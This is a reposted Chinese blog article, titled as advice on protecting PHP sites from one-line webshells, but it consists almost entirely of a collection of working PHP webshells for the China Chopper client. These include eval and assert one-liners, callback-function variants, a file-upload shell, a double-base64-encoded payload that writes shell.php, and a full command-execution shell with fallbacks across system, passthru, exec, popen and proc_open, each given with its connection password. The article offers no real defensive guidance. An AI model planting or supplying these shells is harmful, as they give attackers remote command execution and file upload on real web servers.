本文共 6530 字,大约阅读时间需要 21 分钟。
本文内容转载于Sinesafehttp://www.sinesafe.com/article/20180608/244.html
PHP网站安全防一句话木马入侵
一、首先是菜刀一句话木马: 菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。1、eval()函数#传入的参数必须为PHP代码,既需要以分号结尾。#命令執行:cmd=system(whoami);#菜刀连接密码:cmd<?php @eval($_POST['cmd']);?> |
<?php@$temp = $_FILES['upload_file']['tmp_name'];@$file = basename($_FILES['upload_file']['name']);if (empty ($file)){ echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?> |
cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0 5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc 0aU8zMTlQejQ9))); |
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。#命令執行:cmd=system(whoami)#菜刀连接密码:cmd<?php @assert($_POST['cmd'])?> |
#preg_replace('正则规则','替换字符','目标字符')#执行命令和上传文件参考assert函数(不需要加分号)。#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test"); |
#创建匿名函数执行代码#执行命令和上传文件参考eval函数(必须加分号)。#菜刀连接密码:cmd$func =create_function('',$_POST['cmd']);$func(); |
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。#命令执行 cmd=whoami#菜刀连接 密码:cmd$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array; |
#传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码:cmdcall_user_func("assert",$_POST['cmd']); |
#将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码:cmd$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array); |
#用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接 密码cmd$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func); |
#php环境>=<5.6才能用#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。#命令执行:+1&2=eval($_GET[cmd])&cmd=system(whoami);#菜刀连接:+1&2=eval($_POST[cmd]) 密码:cmdusort($_GET,'asse'.'rt'); |
<?php$command=$_POST['cmd'];#function exec_all($command)#{ //system函数可执行并直接显示结果if(function_exists('system')){ echo "<pre>"; system($command); echo "</pre>";} //passthru函数可执行并直接显示结果else if(function_exists('passthru')){ echo "<pre>"; passthru($command); echo "</pre>";} //shell_exec函数可执行但需要加echo才能显示结果else if(function_exists('shell_exec')){ echo "<pre>"; echo shell_exec($command); echo "</pre>";} //function exec(命令,以数组形式的保存结果,命令执行的状态码)//可执行,但需要加echo才能显示结果else if(function_exists('exec')){ echo "<pre>"; exec($command,$output); echo "</br>"; print_r($output); echo "</pre>";} //popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。//若出错,则返回 false。else if(function_exists('popen')){ $handle = popen($command , "r"); // Open the command pipe for reading if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fread($handle, 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fgets($handle,1024); } echo "<pre>"; } } pclose($handle);} //proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。else if(function_exists('proc_open')){ $descriptorspec = array( 1 => array("pipe", "w"), // stdout is a pipe that the child will write to ); $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fread($pipes[1], 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fgets($pipes[1],1024); } echo "<pre>"; } } #pclose($handle);} else{ echo 'GG';}#} |
<?php$cmd=$_POST['cmd'];echo "<pre>"; //可执行并直接显示结果,反引号,波浪键。//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。echo `$cmd`; //注意,这个只显示结果的第一行,因此基本只能执行whoami//ob_start:打开缓冲区,需要system函数开启$a = 'system';ob_start($a);echo "$_POST[cmd]";ob_end_flush(); echo "</pre>"; |